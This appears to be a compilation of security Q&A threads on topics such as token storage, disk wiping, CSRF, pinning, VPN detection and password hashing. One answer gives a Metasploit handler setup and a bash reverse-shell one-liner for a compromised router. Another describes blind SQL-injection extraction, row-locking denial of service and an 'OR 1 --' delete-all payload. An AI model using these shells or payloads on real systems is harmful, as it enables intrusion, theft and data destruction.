TCP 50393 might be Apple's XSAN protocol.  Do you have any Apple devices on your network, particularly Time Machine?  Was your router marketed as supporting USB attached sharing / NAS functionality?  As before, scan against your public IP from outside your network to ensure this isn't exposed to the outside world, but I'm pretty sure this is open as a network storage feature for your router.


Nessus found a vulnerability, but no corresponding exploit on Metasploit : How to run with meterpreter I ran Nessus on a local network, it found a critical vulnerability for the router:

MikroTik RouterOS < 6.41.3 SMB Buffer Overflow

(Vulnerability description : Exploit-db)

But I can't find any corresponding exploit on metasploit for this vulnerability. On msfconsole did search CVE-2018-7445 but got no result.

Is there any way for me to use the exploit on metasploit, with the meterpreter?

Basically, you need to use the exploit in the exploit-db link to get a shell, then start a Metasploit handler:

use exploit/multi/handler
set LHOST [local ip address]
set LPORT 4444
set payload linux/x86/shell/reverse_tcp
run

Once the payload handler is running, you can make a reverse TCP connection from the router to get a session on Metasploit:

bash -i >& /dev/tcp/[local ip address]/4444 0>&1

Then background the session and use the module post/multi/manage/shell_to_meterpreter to upgrade the shell to a Meterpreter shell.


JWT Token Stored in /data/data//shared_prefs - Android App I am testing an Android application I am creating for learning purposes (I am using a pre-existing skeleton code my friend gave me). The application uses firebase and stores the JWT token in an xml file in shared_prefs. I am testing this app on a rooted device, so it occurs to me a malicious app could gain access to this folder (/data/data//shared_prefs) and therefore the JWT token stored in the XML file. Is this considered best practice? Where should I store the JWT token? Should it not be stored in shared_prefs at all?

Should I use some sort of key to encrypt these files so they can't just be pulled by a malicious app?

This is fine and is about as good as you can get on Android. Unlike iOS, there is no secret storage mechanism (Keychain) and instead devs are to rely on sandboxing to protect secrets. The /data/data/<app> directory when stored on internal storage is protected from other applications reading it through sandbox restrictions. If this data is written to the app's external storage folder (which SharedPreferences does not do), other apps can freely read the secrets. Since that isn't happening here though, the secret is safe.

See https://developer.android.com/training/articles/security-tips for more info.


Metasploit Handler doesnt show options I am trying to use exploit/multi/handler module which I have used before and it does not allow me to set options. The options commands displays nothing. I tried reinstalling (apt-get remove metasploit-framework && apt-get install metasploit-framework) but nothing changed.

I am running msfconsole on Kali Linux

Unless you select a payload (e.g. set payload windows/meterpreter/reverse_tcp), there are no options to set since the multi handler does not have unique functionality of its own.


How does "automatic" redirection occurs from a legitimate website to a scammy one? Using Firefox on Windows 10 every time when I visit ebay.com I get redirected to a clearly fraudulent website telling me I've won some prize and asking me to enter my personal information.

The website is also trying to convince me that it is legitimate by posing as my ISP and showing my IP address.

I try to keep my machine as maintained as possible with updates, scans and CCleaner. I researched a bit on the web and found that this problem has occurred with a lot of other people on Ebay. At this point I am 99% convinced it is an Ebay problem.

Why is this happening? (And, ideally, how to stop it?)

Short summary:

Every time I visit ebay.com for the first time after running ccleaner (deleting cookies), I get redirected to scammy website.
I'm using Firefox on Windows 10. It happened also on Chrome but the browser detected the fraudulent nature of the website and blocked it.
This thing occurs only with ebay.com

Lots of possibilities...

Malicious browser extensions can do this easily. It's less likely given that it happened on multiple browsers, though.
Malware. Scanners/AV are a last-ditch attempt to save yourself from malware; they are unreliable, not that hard to bypass, and if you rely on them as a primary form of defense you will get compromised. With that said, it's weird for it to only affect a single site like this.
Network attacks such as DNS spoofing or ARP poisoning. These should be defeated by navigating directly to the https://ebay.com/ URL, though.
Compromised website. If there is (or recently was) a vulnerability in the site - either server-side (such as a file include) or client-side (such as stored XSS) - it could cause the behavior you're seeing. The fact that this only appears to happen with one site is evidence in favor of this, though not conclusive.
Compromised domain name. If the domain registration were taken over, an attacker could host their own site with any content they wanted (including a look-alike of the old site) and get a valid HTTPS certificate for it. It's unlikely that the root ebay.com domain would be vulnerable to such an attack, though.

There are other, even less likely possibilities. I can't reproduce the described behavior on my machine - https://ebay.com/ loads just fine for me - so I can't investigate any further. You could use the browser's debug tools and/or an intercepting proxy (such as Fiddler or Burp Suite) to capture the network traffic / view the code on the page, and see what's triggering the redirect (assuming it's not just the browser being compromised in some way).


How does limiting the number of results from a SQL query help? This highly upvoted answer asserts that as a protection against SQL injection, one should

  always use bound parameters and limit how many results get returned

(emphasis mine)

Obviously, the advice to limit the number of results cannot be applied blindly. If your application requires all the results to work correctly in a specific context, then placing a hard limit on the results is likely to cause bugs. (This is a situation I'm currently dealing with. I am detailing all of the bugs in an application because this was done silently by some widely used functions.) I don't think the answer is suggesting that the application should be designed to page results, either, since paging only means that an attacker has to make multiple fetches to get the results they want.

The question asking what SQL injection is makes no mention of this as a defense.

What is this answer talking about? Does result limiting reduce my risk associated with SQL injection? In what contexts can it be used if so?

(Small preemptive clarification: I am, of course, 1000% on board with using parameterized queries on every single user input.)

limit how many results get returned

This sounds a bit silly. It is possible to exploit a SQL injection even if the query returns no result, or even if the results are not displayed at all.

In case you wonder: if you can inject something that can trigger a data-dependent database error, or application error, or make it return zero or one result, then you can query the database for boolean tests, like:

email REGEXP "^[a-k]"? yes
email REGEXP "^[a-g]"? yes
email REGEXP "^[a-d]"? no
email REGEXP "^[e-g]"? yes, no need to ask!

keep narrowing it down... Then with a bit of patience, a script, dichotomy, and regexps, you can dump any line in any table, including information_schema which should be your first target btw. A while ago some guy bragged on a french forum about his site being safe with one such vulnerability, two hours later I had all passwords, which were stored in cleartext inside an old backup copy of a table somewhere inside a schema he had forgotten about...

Also, said willing victim thought magic quotes were safe. So I couldn't inject any ' but... CHAR() can build any string just fine without any '...

It is also possible to make the server run a very long and intensive query (a kind of DOS attack) which returns no result, so the LIMIT won't help in this case either. For extra LULZ you can make the query lock every row with a SELECT FOR UPDATE then hang until the page times out with a huge UNION. This DOS'es the whole website.

Also if you can inject a "--" or a ";" to comment out the rest of the query, then the LIMIT is of course, commented out. Timeless classic, set id=" OR 1; --" in the forum "delete your own post" thingie and ... tada!

DELETE FROM posts WHERE id=1234 OR 1 -- LIMIT 1

IMO the best way to avoid SQL injection is to use a framework or DB library that makes it more convenient and faster to use the safe method instead of the unsafe method. Then, there is no temptation to cut corners...

Some implementations of bound parameters fail this test, because they are inconvenient to use and/or badly designed. Consider the following PHP/PDO example:

$stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname, email) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $firstname, $lastname, $email);
$stmt->execute();

This uses three lines of code instead of one. Even worse, the variable types are hidden somewhere inside the bind_param call, they are positional, and inside a string which will be duplicated all over the code. Plus if you have 20 columns, which one is the int when the type string is "sssssssssssssisss" ? OK, move the cursor, count the characters, one, two, three... Also the type is given by a char, so when using postgres and your column is of type "array of ints" or "polygon" it won't work so you'll have to revert to an unsafe method, perhaps quote manually... aaargh...

$req = $bdd->prepare('INSERT INTO decisions(decision, numero, publique, date, ip) VALUES(:decision, :numero, :publique, NOW(), :ip)');
$req->execute(array(
    'decision' => $want,
    'numero' => $nombremagique,
    'publique' => $publique,
    'ip' => $ip
    ));

This is one step up, as the parameters are now named instead of positional, which is a lot easier to use. But you still have prepare/execute, which (unless using PDO's fake prepared statements which I believe only work on MySQL) results in two database roundtrips, which means the safe method is slower than the unsafe one. This is also a failure, because the safe method should be the best, the easiest to use, and also the fastest if we want to avoid temptation of cutting corners...

A much better option in this case would be to use an ORM. Create an object and do object->insert(). If the ORM is good, it will check the types, and handle the queries in a safe way.

For raw queries, my favorite interface is python's DBAPI, I will use psycopg2 as an example:

conn.execute("SELECT * FROM ... WHERE firstname=%s AND lastname=%s", (val1,val2))

It only takes one line, one database roundtrip, it is fast, arguments are automatically escaped and converted according to their types, even user types can have custom encoders/decoders added, it handles unicode, basically it does everything.

data = {'firstname': 'Bob', 'lastname': 'Smith'}
conn.execute("SELECT * FROM ... WHERE firstname=%(firstname)s AND lastname=%(lastname)s", data)

Named arguments can also be used. This is usually more convenient, as the arguments will usually come from something like a form library, which would deliver them packed into a dict/associative array.

So, to answer your question, I would be wary of random tidbits like "add a limit" ; a systematic approach is much better, like I said the interface used to query the DB should make the safe choice the obvious choice, faster, easier, more convenient, etc.


Is Jericho Comms TRNG reliable? I'm looking for a method to generate true random bits/numbers on smartphones.
Create a custom TRNG seems to be tricky and a lot of people suggest to trust in already existing ones, widely tested and approved. But I've found Jericho Comms, that uses a custom TRNG from the pictures as input.
How secure, strong and reliable is this? Could it be a valid method to generate truly random numbers/bits?

I know that smartphone cameras are not perfect for this purpose because of the JPEG compression and low quality, but omitting this, how correct is the algorithm proposed?

I paste the documentation:

  This process describes the full algorithm:

  Load the user's photograph into memory and store it in a sequential array of RGB values.
  Get the red, green and blue (RGB) integer values for each pixel. This will return a number between 0 and 255 for each colour.
  Remove sequentially repeating black (0, 0, 0) pixels, white (255, 255, 255) pixels and pixel colours that are exactly the same. This removes sections of the photograph with underexposed pixels, overexposed pixels and those that have have little entropy. Generally it is very unusual to have adjacent pixels that are exactly the same colour unless there is a hardware failure, or the section of the photo is under/overexposed. Usually in a good quality photograph there are at least very slight colour variations in adjact pixels. This step removes these low entropy areas.
  Estimate 1 bit of input entropy per set of RGB values (1 bit per 24 bit pixel). This is a very conservative estimate. Users can increase this in the TRNG settings to 3 bits per pixel which would account for the entropy in the least significant bit of each colour.
  Gather 512 RGB values to get an estimated entropy input of 512 bits.
  Convert the 512 RGB values to their hexadecimal representation and input them into a cryptographic hash with a 512 bit output. The user can choose which hash to use and the program allows either Skein or Keccak [c=2d]. Both are very strong finalist algorithms from the NIST hash function competition. Store this hash output of 512 bits as the temporary seed into the next hash.
  Start a loop:
  - Check there is enough new input entropy for the new hash, or break out of the loop.
  - Get the temporary seed from earlier.
  - Get a new set of 512 RGB values (512 bits) as the new input entropy.
  - Concatenate the seed and input entropy together and hash them using: Hash( seed || input entropy ).
  - Append the first 256 bits of the hash output to the output random data.
  - Update the temporary seed to be the last 256 bits of the hash output.
  - Return to start of the loop.

  It is important to note that the program does not use this collected entropy to seed a psuedo-random number generator to give an unlimited amount of random data. The program aims to be a true random number generator so only quality randomness is wanted and each uniformly random bit must be used solely to encrypt one bit of the plaintext. It's assumed that most psuedo-random number generators or even CSPRNGs that stretch out the entropy could produce a subtle bias in the output and allow the NSA or other governments to decrypt part or all of a message. With this program the aim is to avoid stretching the available entropy over more bits.

This seems to be created by someone who is not a cryptographer, I would not trust this scheme to produce "true" random numbers. Additionally, the entropy source still exists in the form of a photograph, and the process can be repeated by an attacker with access to it. Generally with a TRNG, once entropy is extracted, its gone, there is not a copy of it somewhere, it is read into the DRBG and processed irreversibly.
This is best described as an entropy extractor and DRBG, and a giant block of solid green will have essentially no entropy, but this will still output a series of values that pass the NIST randomness tests. The fact that this passes randomness tests is meaningless, so did Dual-EC.
I would be substantially more comfortable if it accepted camera input only, not pictures, and ran something like this:
PRNG = SHA384( SHA512(Camera Input) || (Camera Metadata, time, gps, etc) || (32B System RNG output) )
And took a photo, feeding the PRNG output into a large entropy pool of a DRBG, then spitting out a value for use after enough photos were taken. For a 384B pool, 8 pictures to fill the pool, then each additional picture gives up to 256-bits of output. Of course this is more valuable on a mobile device where a camera can take pictures arbitrarily, a desktop system does not have the same flexibility.
This turns a camera into a whitener for the system RNG, which can be supplied with much better entropy from cryptographic accelerators built into the SOC, but may still be considered suspect. The whitening eliminates the ability for old outputs to predict new outputs, or the other way around, while still making use of the system entropy provided.
Updates:
There were some very interesting comments added to this post, and I figured I should respond to some of the points raised, as they have merit:

From reading the site it intentionally described it in plain English so the content is understandable for a wider audience. Perhaps this gives the impression that it is not created by a cryptographer.

That is not the reason for my initial comment, I prefer an algorithm/scheme design to be readable in both plain English and a pseudocode for comprehension, and a good job was done in the plain tedxt respect. My comment was based on the design itself.

Moving a photo from a standalone camera to an air-gapped computer then erasing it afterwards does not give any attacker a chance to repeat the process.

Erasing data is not always successful, that is common knowledge. Also an attacker can go directly to the airgapped system to get the data if it is still there. Or they can un-gap it with an implant, even in a faraday cage (acoustic and optical transmitters). A RNG that relies on a faraday cage and airgapped systems for security has a huge usability problem.

It's actually just a randomness extractor using a hash function, essentially a TrueRNG ... The entropy in the photograph is used only once.

No, nothing about this makes it true random. It is deterministic by design. The output is determined from the pixels in the photograph.

Reading the site, the critical steps are: carefully taking a quality photo in the first place, and the extra safeguard of removing sequentially repeating pixel colours which is mentioned in step 3 of the mentioned algorithm. Any low entropy sections in the photograph are removed before randomness extraction begins

You are right, I missed the part about non B/W colors. However even if the R value only varies by 1 bit across alternating pixels, that method will not remove the pixels, and the entropy will still be poor.

Your comparison of this design to a deliberately backdoored algorithm by the NSA is nonsensical. Passing randomness tests is not meaningless in itself. It's essentially a smoke test to rule out completely bad input.

Comparing one algorithm to another that passes the same test is not nonsensical. Many pass the tests while being completely broken. Randomness tests are usually used to test the algorithm and make sure the code is working, not the input. Input should be tested before passing to the RNG, and between each functional block. A failure at input should prevent the output from even being generated.

Your counter proposal lacks a coherent definition to be implementable, appears to be quite slow and throws away an enormous amount of entropy to the point that the scheme is unusable. For a start, what is “Camera Input”? ... What is its data format? How is it loaded into the program? ... You don't mention how the user should take pictures.

I was not designing a counter proposal, it was just a basic example of something that would generate 384-bits of output from a single camera input. Something that I would trust more than that in JC. I did not describe any component in detail, or the motivation behind them, just a high level overview. What followed was also a fairly basic example of what to do with it. Slow? I doubt it. Unusable? Not at all. "Camera input" is the information the camera captures, sent directly to application memory without transfer to disk.

Also it's intriguing that you immediately switched to using NSA designed SHA2 hash functions in your recommendation instead of openly designed alternatives by trustworthy cryptographers ... I wonder what the point of using both SHA384 and SHA512 is other than making it slower. Surely you could do only one hash of all the inputs concatenated together.

The SHA2 family is one of the most studied of all hash functions. No it is not designed openly, but it performs well, has a simple implementation, and has withstood decades of analytical attacks on both the compression function and the full hash, notwithstanding the problems that apply to all MD type hash functions, which are not relevant to this type of use. I also like Blake. Keccak is slow.
The point of using 2 different hash functions with 2 different sizes is simple. The first is to compress the entropy of the photo down to a 512-bit value. The second is to diffuse and compress that value with additional data and additional entropy, while using different initial values, and truncating the function to hide the full state by a cryptographically strong amount (128-bits). You could also use HMAC with a key from system entropy, and truncate, instead of using SHA384. Once again it was just an example, but there is logic behind the construction.
And finally

This answer seems to be created by someone who is not a civilian, I would not trust this schemer to produce “true” random numbers.

The implication that I am an intelligence agency plant makes me feel all warm and fuzzy inside. If I say I am not, will you believe me? Am I also correct in assuming that you are one of the program developers/contributors or related in some way? I don't expect an answer to that. I will say that additional edits would not be appropriate for a back-forth discussion on merits of the scheme in question.


Why doesn't my IP change on manual router turn off/on? Basically the title. I remember that when still having IPv4 addresses, my IP changed after the router turn off/on. This doesn't seem to be the case with IPv6. Since there are almost 10^40 addresses when using IPv6, does IP rotation not occur anymore or do I need to change some settings?

Dynamic IPv4 address allocation is a common strategy for ISPs to reclaim globally routable IP addresses (a.k.a. "public addresses") since they have to few of them to assign them permanently to their customers. In terms of privacy that means that end users are harder to track. But like NAT, which was never meant to be security mechanism, dynamic address allocation is not meant to be a privacy mechanism (in fact, it is not). With IPv6 neither NAT nor dynamic address allocation is required. Thus, the IPv6 prefix you get from your ISP is likely fixed, at least for a while. A priori there's nothing you can do about it.

The ISP may provide a mechanism to let you have a fresh prefix, e.g. German Telekom is said to have such a mechanism to answer privacy concerns regarding static prefixes. However, even if you got dynamic prefixes, your devices will be trackable by the interface identifier. Privacy extensions may come to mind but they are of only modest use: They change only after a fixed period (typically one day) or if the NIC is reconfigured - they don't change on prefix change! (For those who are curious, see RFC 4941, Section 3.3, item #6: New temporary addresses MUST be created by appending the interface's current randomized interface identifier to the prefix that was received.) Thus, by suitable chaining your devices are trackable across  prefix and IID changes. In order to break the chain they must change simultaneously, which, given that there is no sync mechanism, would happen only by coincidence with quite small probability.


How to best prevent data recovery on a disk drive without physically destroying it? The recommended way of ensuring that data on a hard disk cannot be recovered is to destroy it physically, for example using a hammer, drill or even thermite.
Question
When physical disk destruction is not an available option, what is the next best way of ensuring data cannot be recovered from a hard disk?
Note:

In the event that all data cannot be made unrecoverable, please assume that making it unrecoverable at a cost of less than millions of dollars would be a good enough solution. That is, the cost of hiring a forensics team to conduct deep technical work for many weeks, only for a small chance of recovering anything that could be made sense of.

Yes variants of this question constantly recur, nevertheless I'll try to do a quick and dirty answer before this gets closed.
A single pass over write of the raw drive with anything, zeros, random, whatever is sufficient to make data practically unrecoverable. This can be done via direct write or via the builtin security commands.
Magnetic force microscopes are not going to extract the data.
Wear leveling in Solid State drives would require disassembly and chip removal to bypass the wear leveling controllers. Custom chip analysis of the wear level swapped bits can extract unwiped old snippets but this would be expensive, time consuming and have very little context. Standard forensic shops won't do this.
Bad sectors won't be wiped, but if they are truly bad you likely have nothing significant worth the effort of expensive reconstruction of the bad sectors. Yes, bad sectors can be artificially created to hide data, but if you did this you would know it.
Similarly HPA & DCO hidden sectors will not be wiped, but unless you created them and put data there, there's nothing of your's present.
Official classification standards require physical destruction to avoid even the most unlikely release.
Wipe with zeroes then check for non-zero content afterwards to verify. It won't meet military standards but it's a 99.9% solution.
Since you are looking for a simple "Do This", I suggest Eraser, or DBAN.


Why send multiple codes and ask the user to input only one? Consider the following (real-world) scenario:
When making a credit/debit card purchase online, the bank sends an SMS containing 4 different numbered “passwords” and then prompts the user to enter a specific one (1, 2, 3 or 4).

What security advantages does this provide, as opposed to just sending one single code?

It does not add anything.

The problem with is SMS as 2FA is that a SMS can be intercepted in transit, or grabbed from the user phone because of malware. Sending one, four, or one hundred codes is the same. If the attacker can get one, can get all of them.

You could give the user a card with hundreds of codes and send a message asking for a specific one, like this:

This way, unless the attacker gets the password card AND intercepts the message, the user is protected.


Is it possible to detect VPN in the network? Is it possible to detect the use of a VPN in a network?

Let's say that I'm going to use a VPN during my connection in a country where internet is filtered, and to avoid been monitored I installed openVPN on a cloud server or a VPS, is it possible that the ISP or anyone who is watching the network determine if I'm using a VPN or not based on massive surveillance?

I'm not describing the scenario where the Watchdog knows what to look for or who is doing what, I'm asking about the mass surveillance activity.

The OpenVPN protocol makes no attempt to hide its presence. The protocol itself is briefly described at the end of the documentation. Note that, even if you manage to obfuscate the protocol itself, it is possible for your ISP to determine that you are using a VPN using traffic fingerprinting. Not to mention, the fact that you are using some sort of tunnel can be inferred from the behavior of only connecting with an encrypted protocol to a single IP address for all of your internet activity.
Traffic obfuscation
There are two primary ways to prevent the protocol from being immediately tagged as OpenVPN traffic, however both methods do not defeat advanced traffic fingerprinting. Additionally, both of these methods require support from both client and server, so random commercial VPNs are unlikely to be compatible with this. The two main ways to limit traffic identification are:

Static keys - Normally, OpenVPN establishes a TLS connection with the remote server to exchange temporary session keys which are then used to encrypt the VPN protocol. This key exchange gives away that OpenVPN is being used. Static keys are pre-shared keys that are stored on both the client and server. If they are delivered securely to both sides, then that key can be used directly to encrypt the VPN traffic without any key exchange. Unfortunately, static keys necessarily mean you will lose the cryptographic property of forward secrecy.

Obfsproxy - Developed by the Tor Project, obfsproxy is a type of pluggable transport that transparently obfuscates traffic using a variety of methods. It is designed specifically to make it difficult to identify the protocol being used in order to hamper automatic blocking. While originally designed specifically for Tor, obfsproxy can be used with OpenVPN.

No matter what you do, you will very likely not be able to prevent someone who is analyzing the traffic from discovering that you are connecting through an encrypted tunnel of some kind. You may be able to hide that it is specifically OpenVPN traffic, and you may be able to fool automated machine analysis, but not actual human analysis of the traffic itself. Keep that in mind.
Threat modeling
You should formulate a threat model. Ask yourself why you want to hide the existence of the VPN (avoiding so-called membership attribution). A few general threat models:

Avoiding censorship - In some regimes, VPNs are blocked either voluntarily by ISPs or due to extensive government censorship. You may want to obfuscate the protocol in order to bypass the filters and gain unrestricted access to the internet. For this threat model, you need only go far enough to prevent automated detection. If simply running the VPN on a different port is enough, then do just that. If you need to fully obfuscate the traffic to avoid DPI, then do that instead. There is no need to make it hard for human analysis to discover the traffic because no one is going to be monitoring it in real time and actively allowing or blocking a given resource.

Looking inconspicuous - You may opportunistically want to give away as little information as possible to your adversary. While giving away all your unencrypted traffic is even worse, why not reduce the information even further and hide the fact that the traffic is encrypted? If your adversary is using automated logging to detect VPN traffic, the solution is the same as the one for avoiding censorship. Simply change your traffic just enough to get past the machines, and you are home free. If you want to protect against manual, human analyists, then you're out of luck, unfortunately. There is no practical way to hide that you are using an encrypted tunnel of some kind to a sapient and educated adversary with access to traffic logs.

Avoiding legal issues - In some jurisdictions, the mere use of an encrypted tunnel of any kind can be flat-out illegal. In cases where the penalties are high and the laws are actively enforced, you have a much bigger problem. You should avoid all government-run or sympathetic ISPs. This means using underground networks or wireless networks from nearby countries. You should also either hire a lawyer to get professional legal advice, or at the very least ask some questions on the Law Stack Exchange. While they do not provide legal advice, they can answer certain questions and cite relevant laws to help you improve your understanding.


Is this an appropriate anti-CSRF method? I have the following system in place on my web app and I'd like to know if it's secure.

Cookie contains CSRF token.
Application detects CSRF token in cookie.
Application places token in a header.
Token in header is verified by the server.

I have not seen any definitive information on whether or not it's okay to use cookies as a place to store CSRF tokens. Please enlighten me.

EDIT: More detail - Angular looks for a CSRF token in the cookies, and when it finds one, it adds a header with this value. Then the server determines if the header value is legitimate.

I don't see any flaw in the method and I think it can be used to protect against CSRF. There is just one small issue: This method will work just fine as long as the cookie storing the CSRF token is NOT set as HTTPOnly. The problem is with this requirement:

  Application detects/places token.

This implementation is similar to Double Submit Cookies. Double submitting cookies is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value are equal. The benefit of using this method is that the application does not have to save this value in any way.

Since your implementation requires the cookie value to be read via client-side scripting (JavaScript) and then placed as a request header, it can break application functionality if it is set as HttpOnly (which prevents JavaScript from reading its value) at any point in future.


Can lack of certificate pinning be considered a vulnerability? The use of certificate (or public key) pinning can be considered as a good practice for defense in depth, since it protects an application from man in the middle and DNS hijacking attacks. But can it be considered a flaw in the application itself?

Let’s take from example a case where a self signed certificate is either installed in the mobile phone or is signed by a trusted CA (using Let’s Encrypt), and an application that uses the phone trust store  to determine whether a certificate is trusted. In any of these cases, an application without pinning would be exposed to MITM attacks; however, in order to do so, either a malicious application (or even the user, by social engineering) must install these certificates. In both cases, if said applications can accomplish this, they can go much further and take over the phone entirely.

The use of certificate (or public key) pinning can be considered as a good practice for defense in depth

HPKP can be considered good only when it is carefully designed and implemented. In theory, public key pinning is more secure because it reduces surface attack by limiting a number of certificates (trust anchors) the application trusts. Biggest issue with public key pinning is certificate management. This is where most HPKP stories end.

If you trust only particular certificate/public key, it is irrevocable. If key is compromised, the application becomes immediately vulnerable, because you it is hardcoded in the application. The same story is when you simply replace the certificate. You will have to update the application, upload to app store and wait until clients update the app on their devices. Security is always a tradeoff between security and flexibility.

Better solution would be to ship a set of trusted anchors (trusted root certificates) your application trusts and configure certificate validation logic (built-in in OS, do not roll your own crypto) to use only these roots as trusted anchors. That is, chains still must be validated, revocation checking must be performed even if you use HPKP. This approach assumes that CA key compromise is less likely than SSL server key compromise. In this case, you have better security and flexibility. However, you still have maintain the list of trusted anchors and update them when necessary (because you no longer rely on system trust store).

Again, it is in theory. In practice, most app developers don't care at all and their HPKP implementation is worse (more vulnerable) than standard system trust store.

Worth reading on HPKP: https://blog.qualys.com/ssllabs/2016/09/06/is-http-public-key-pinning-dead.


How strict should I be in rejecting unexpected query parameters? TL;DR Is it a "best practice" to return an HTTP 400 Bad Request response if extra parameters are sent with a request?

I'm putting together a web app and doings some testing with OWASP ZAP. I'm pretty happy with the results - the errors I get seem to be all low confidence and when I inspect the errors in detail, I'm finding that the ZAP tool really didn't change anything with the request. But that leads me to a "higher level" question, which is best explained with an example:

OWASP ZAP allegedly found an SQL injection with the following URL:

http://example.com/api/client/1?query=%27+AND+%271%27%35%271%27+--+

in "human-readable" form, that is:

http://example.com/api/client/1?query=query' AND '1'='1' --

Looks like a pretty standard SQL injection attack. Now, this endpoint is intended to return a client object in JSON form, and that's what this request does through OWASP ZAP. The server returned exactly what was expected, the client with ID=1. I'm doing everything that the OWASP ZAP docs recommend with respect to SQL injections, so what more should I do?

It occurs to me that I just don't know what OWASP ZAP expects to receive in response to this kind of attack - an error reponse, perhaps? The docs are helpful, in a "this is how to interface with the database" kind of way, but it's not clear to me if I need to respond with an error.

Should I return a 400 Bad Request error if inappropriate query parameters are provided?

No, you should not be returning a 400 if there are extra query parameters you do not expect.

Reasoning:  You are actually making it easier to attack the application.  By notifying the attacker that a particular parameter is invalid, they can easily start guessing parameters, and when they receive a 200 instead of a 400, they know they've found a valid parameter which they can try attacking by other means. Additionally, your application is no less secure when the false positive is reported.  Adding logic to return a 400 is more work without an additional pay-off


Prevent brute force attacks on web publishing logins Presumably, if someone tries to brute force into your website's control panel at your web host's site - they will be throttled/locked-out etc.

But what about the web publishing logins (Web-Deploy, FTP, ...)? How do we prevent anyone brute forcing those? Is the only way to have a password that cannot practically be brute forced, or is there any other method that can be implemented for that?

This is exacerbated by the fact that the control panel login is often valid for web publishing as well, so an attacker can try the passwords on publishing, and if successful - have access to the control panel as well.

EDIT

The question is about a website hosted on a shared web hosting service with quite limited control over the server. Is there anything that can be done by someone using the hosting service to counter a brute force attack?

There are a number of ways of mitigating brute-force attacks, depending on the level of control and access you have to the systems in question.

At a firewall level, you may be able to do rate limiting to throttle the number of connections from a given IP address. Also some firewalls will have Intrusion Prevention System capabilities which could allow for brute-force attacks to be throttled or blocked.

At a system level similar principles can be applied.  Software like Fail2Ban can be used to block brute-force password guessing attacks by blocking the source IP addresses of those attacks.

This kind of blocking isn't perfect against a determined attacker as they can switch IP addresses to get round it, but it will generally work fine for the less targeted attacks.


Why should we prevent users from saving their passwords in their password manager? I understand there are a few other controls, like 2FA, for making transactions in many bank account websites, while only users required for username and password to access the account.

I noticed that I can save my password in my LastPass password manager while in my other bank account they disabled it somehow. Working for a financial company myself, it made me consider creating this kind of protection: an option of disabling the option for users to save their passwords to their password managers like LastPass.

It will be very easy to implement this kind of client-side encryption solution but I am wondering why would these banks do this "extra" line of security protection.

DON'T.

Unique passwords is one of the most important aspect of password security, as a breach in a different site will not affect other sites for the same user.

Unique passwords per site is almost impossible without password managers. In addition, password managers enable longer password. For instance, most of my passwords are unique, 60-character, containing special characters. This is way more secure than the previous ten-character passwords I employed previously - with lot's of password reuse.

In short; your idea will likely lead to worse safety. And it will seriously piss off security conscious users. Instead, follow NIST Guidelines, and don't try to control how users enter the password.

In addition such attempts at controlling input may impair users with disabilities. Screen readers and alternate input methods may not play well with custom scripted input options.


Is chain hashing algorithms the ultimate solution for hashing passwords? Let's say I my password is a simple password, 123456

Then if the database was exposed, if the password was:

-- stored in plain text -> cracked
-- stored it hashed with no salt -> prone to rainbow tables -> cracked
-- stored it hashed with salt -> rainbow tables are less effective since a specific rainbow table for each salt will be needed, but at the end at least one important password can be cracked
-- stored it hashed with bcrypt -> slower time to generate that rainbow table, but at the end a powerful machine/s targeting one important password can crack it.

Can we avoid this if we chained two hashing algorithms to one hashing process ?
For example hashing a password with SHA-256 hashing, then hashing the output with bcrypt ? Bcrypt(Sha(Pwd))

This way the output hash doesn't appear in any rainbow table, even it was a rainbow table made specifically for my salt I used with bcrypt and its work factor, the output is still another hash value that's not included in the rainbow table.
And also brute forcing best chance will be finding the hashed value of the Sha(Pwd) (which as I think is also computationally infeasible?)

... but at the end a powerful machine/s targeting one important password can crack it

If you mean with "at the end" in a couple of 1000 years then you might be right. The main point of salting and slowness is that it is practically infeasible to build rainbow tables (would be too big due to salting) or to brute-force good passwords (would be too slow due to slow hash). There is no need to add yet another layer on top of this.

And essentially what you propose is to just replace a slow hash with an even slower hash. This can already be achieved by just using more rounds in the existing password hashing algorithms, i.e. they have these feature already build in.


Can scripts execute virus on its own if we only open it in an IDE or Notepad? If you download scripts such as file with extension such as .py, .java, .cs, .cpp, etc and if you don't run it but only open it in an IDE or notepad then will the virus get executed or is this possible for me to get infected just by doing that?

If there is a vulnerability in the IDE or text viewer that the file is designed to exploit, then certainly.
But that's a different kind of malware that you would get if the file was an executable that infected you when you ran it.


Spoofed digitally signed email So I received an email from "paypal.com" yesterday (and looks like most people did too(1)) and I've verified the ascii letters are indeed what they appear as (No capital I instead of L in paypal.com etc).

The email looks like a very good attempt of being authentic and passes the tests that they teach most people on "how to detect a hoax email":

Addresses me in my full name
Good english
No fake links
No real links, i.e. asking me to go to paypal instead
No dangerous call to action
From address is from a domain paypal controls
Signed from a domain paypal controls

There are a few suspicious giveaways like the mailed-by address and if you dig in the header, the Return-Path and Receive sections are strange.

Question is how is it possible that they can send a digitally signed email from a domain paypal controls.

.

This was a marketing message sent (and signed) on behalf of PayPal.
It is safe to click the unsubscribe link.

As captured by GMail's excellent summary view:

See the mailed-by section?  mkt2944.com is a part of Silverpop, a Email Service Provider which was acquired by IBM in 2014 and was recently folded into IBM Watson Campaign Automation.

  how is it possible that they can send a digitally signed email from a domain paypal controls?

It's not really possible, though there are some tricks that can make it seem valid (e.g. Mailsploit).  In this case, it's not spoofed because they have permission.  The server at bounce.paypal.mkt2944.com has a DKIM key that is hosted at some paypal.com domain as indicated by the DKIM selector (the s= part of the DKIM-Signature header, so if it were s=foo then the key would live as a TXT record at foo._domainkey.paypal.com).


Why are common security measures on a webserver not enough on a large scale? Why do simple things (SSL, RSA identification, salted and multi-crypted users passwords, script injections awareness, firewall...) that one rigorous mind usually setup when installing a web server are not sufficient security ?

What kind of hacks going beyond those simple securities do big compagnies face so much that they have to hire security experts teams ?

I consider things like "script injections awareness" and "firewall" and also "..." as far from simple. And don't forget the bugs, backdoors, critical information leaks etc  you regularly find in critical software or hardware like glibc, openssl, firewalls, VPN routers ... And of course there is way more than this if you have a complex infrastructure and applications from different sources
 which work together.

All these bugs in 3rd party software and hardware together with bugs in your own software make it possible to attack a server from several ways. If direct ways don't work against a host it can be done in an indirect way like attacking the router, firewall or the remote administrator. And once you passed the first protections you are often free to move around. Real security requires lots of knowledge and time, which in essence means lots of money. This includes monitoring log files, updating software but also keeping up to date with the newest information because often a problem is known by the hackers before an update even exists.


